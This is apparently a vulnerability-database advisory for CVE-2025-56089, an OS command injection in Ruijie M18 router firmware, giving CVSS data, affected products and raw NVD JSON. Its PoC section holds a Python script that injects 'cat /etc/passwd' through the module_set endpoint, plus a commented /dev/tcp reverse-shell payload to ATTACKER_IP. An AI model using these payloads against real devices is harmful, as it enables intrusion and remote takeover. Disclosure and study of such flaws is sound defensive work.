Security Vulnerability Report
中文
CVE-2025-56089 CVSS 8.8 HIGH

CVE-2025-56089

Published: 2025-12-11 18:16:21
Last Modified: 2026-01-27 18:05:37

Description

OS Command Injection vulnerability in Ruijie M18 EW_3.0(1)B11P226_M18_10223116 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:m18-ew_firmware:3.0\(1\)b11p226:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:m18-ew:-:*:*:*:*:*:*:* - NOT VULNERABLE
cpe:2.3:o:ruijie:rg-ew300g_pro_firmware:ew_3.0\(1\)b11p219:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-ew300g_pro:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie M18 EW_3.0(1)B11P226_M18_10223116

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2025-56089 PoC - Ruijie M18 OS Command Injection # Target: Ruijie M18 EW_3.0(1)B11P226_M18_10223116 # Vulnerability: OS Command Injection in /usr/local/lua/dev_sta/nbr_cwmp.lua module_set target_ip = "192.168.1.1" # Replace with actual router IP target_port = 80 url = f"http://{target_ip}:{target_port}/cgi-bin/luci/api/nbr_cwmp/module_set" # Payload: Inject OS command to read /etc/passwd # Using semicolon to chain commands payload = { 'module': 'test;cat /etc/passwd;', 'device_id': 'test_device' } headers = { 'Content-Type': 'application/x-www-form-urlencoded', 'User-Agent': 'Mozilla/5.0' } try: response = requests.post(url, data=payload, headers=headers, timeout=10) print(f"Status Code: {response.status_code}") print(f"Response:\n{response.text}") except requests.exceptions.RequestException as e: print(f"Request failed: {e}") # Reverse shell payload example: # payload = {'module': 'test;bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1;', 'device_id': 'test'} # This will establish a reverse shell connection to the attacker's machine

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56089", "sourceIdentifier": "[email protected]", "published": "2025-12-11T18:16:21.110", "lastModified": "2026-01-27T18:05:37.210", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie M18 EW_3.0(1)B11P226_M18_10223116 allowing attackers to execute arbitrary commands via a crafted POST request to the module_set in file /usr/local/lua/dev_sta/nbr_cwmp.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:m18-ew_firmware:3.0\\(1\\)b11p226:*:*:*:*:*:*:*", "matchCriteriaId": "D2D3479E-B708-49AF-8DF3-5D6992182DE0"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:m18-ew:-:*:*:*:*:*:*:*", "matchCriteriaId": "8383E865-E231-44FD-8851-B6BE5E4479C4"}]}]}, {"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-ew300g_pro_firmware:ew_3.0\\(1\\)b11p219:*:*:*:*:*:*:*", "matchCriteriaId": "BA8D9E3D-793C-4FC6-BE6E-71F9C4A35593"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-ew300g_pro:-:*:*:*:*:*:*:*", "matchCriteriaId": "A9B708CC-0219-4CC8-B01C-2CBEE0A409AC"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EmXarTTNPwFHjk8lLwQIqj8Ba9nlq-owLMBtEKpBwMrn5A?e=vvi2dM", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/Ea56irtVj4dNs59Pzz7fkiIBQeVLjDcMDEXC2FpCQydIZQ?e=70gcOe", "source": "[email protected]", "tags": ["Broken Link", "Exploit"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56089.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}